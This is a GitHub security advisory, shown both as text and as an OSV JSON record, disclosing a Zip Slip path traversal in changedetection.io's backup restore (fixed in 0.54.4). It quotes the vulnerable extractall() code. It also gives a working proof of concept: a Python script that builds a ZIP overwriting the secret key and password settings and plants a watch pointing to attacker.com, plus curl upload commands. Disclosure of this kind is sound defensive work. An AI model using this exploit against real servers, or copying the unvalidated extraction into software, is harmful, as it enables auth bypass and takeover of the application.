GHSA-25G8-2MCF-FCX9
Vulnerability from github – Published: 2026-03-04 21:28 – Updated: 2026-03-06 21:57Summary
A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.
Details
A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.
Vulnerable Code (lines 50-53):
def restore_backup(self, filename):
with zipfile.ZipFile(filename, 'r') as zip_ref:
# VULNERABLE: No path validation before extraction
zip_ref.extractall(self.datastore_path)
The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.
| Path in ZIP | Target File | Impact |
|---|---|---|
| ../secret.txt | Flask secret key | Session forgery, auth bypass |
| ../changedetection.json | App settings | Disable password, inject backdoor |
| ../url-watches.json | Watch index | Inject malicious watches |
| ../{uuid}/watch.json | Watch config | Modify any watch |
Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations
PoC
Step 1: Create Malicious ZIP
import zipfile
import json
with zipfile.ZipFile("zipslip.zip", "w") as zf:
# Escape extraction directory with ../
zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
zf.writestr("../changedetection.json", json.dumps({
"settings": {"application": {"password": ""}}
}))
zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
"url": "https://attacker.com/zipslip-pwned",
"title": "🔴 ZIPSLIP-PROOF"
}))
Step 2: Upload via Restore Endpoint
curl -X POST "http://target:5000/backups/restore/start" \
-F "zip_file=@zipslip.zip" \
-F "include_watches=y" \
-F "include_settings=y"
Step 3: Verify Path Traversal
Check if watch escaped to /datastore/
ls -la /datastore/
Look for: pwned-uuid-1234/
Verify in UI
curl "http://target:5000/" | grep "ZIPSLIP"
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.54.3"
},
"package": {
"ecosystem": "PyPI",
"name": "changedetection.io"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.54.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29065"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T21:28:42Z",
"nvd_published_at": "2026-03-06T07:16:02Z",
"severity": "HIGH"
},
"details": "### Summary\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.\n\n### Details\n\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.\n\nVulnerable Code (lines 50-53):\n```\ndef restore_backup(self, filename):\n with zipfile.ZipFile(filename, \u0027r\u0027) as zip_ref:\n # VULNERABLE: No path validation before extraction\n zip_ref.extractall(self.datastore_path)\n```\nThe extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.\n\n| Path in ZIP | Target File | Impact |\n| --- | --- | --- |\n| ../secret.txt | Flask secret key | Session forgery, auth bypass |\n| ../changedetection.json | App settings | Disable password, inject backdoor |\n| ../url-watches.json | Watch index | Inject malicious watches |\n| ../{uuid}/watch.json | Watch config | Modify any watch |\n\nAttacker uploads ZIP via the backup restore functionality at /backups/restore\nApplication extracts files without validation, writing attacker content to sensitive locations\n\n\n### PoC\n\nStep 1: Create Malicious ZIP\n```\nimport zipfile\nimport json\n\nwith zipfile.ZipFile(\"zipslip.zip\", \"w\") as zf:\n # Escape extraction directory with ../\n zf.writestr(\"../secret.txt\", \"ATTACKER-CONTROLLED-SECRET\")\n \n zf.writestr(\"../changedetection.json\", json.dumps({\n \"settings\": {\"application\": {\"password\": \"\"}}\n }))\n \n zf.writestr(\"../pwned-uuid-1234/watch.json\", json.dumps({\n \"url\": \"https://attacker.com/zipslip-pwned\",\n \"title\": \"\ud83d\udd34 ZIPSLIP-PROOF\"\n }))\n```\nStep 2: Upload via Restore Endpoint\n\n```curl -X POST \"http://target:5000/backups/restore/start\" \\\n -F \"zip_file=@zipslip.zip\" \\\n -F \"include_watches=y\" \\\n -F \"include_settings=y\" \n ```\n\n###Step 3: Verify Path Traversal\n### Check if watch escaped to /datastore/\n###ls -la /datastore/\n### Look for: pwned-uuid-1234/\n\n### Verify in UI\n```curl \"http://target:5000/\" | grep \"ZIPSLIP\"```\n\n\n\u003cimg width=\"1920\" height=\"1080\" alt=\"f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM\" src=\"https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38\" /\u003e",
"id": "GHSA-25g8-2mcf-fcx9",
"modified": "2026-03-06T21:57:22Z",
"published": "2026-03-04T21:28:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-25g8-2mcf-fcx9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29065"
},
{
"type": "WEB",
"url": "https://github.com/dgtlmoon/changedetection.io/commit/1d7d812eb0faab37042246e2fbce04f29bb1b3aa"
},
{
"type": "PACKAGE",
"url": "https://github.com/dgtlmoon/changedetection.io"
},
{
"type": "WEB",
"url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "changedetection.io has Zip Slip vulnerability in the backup restore functionality"
}
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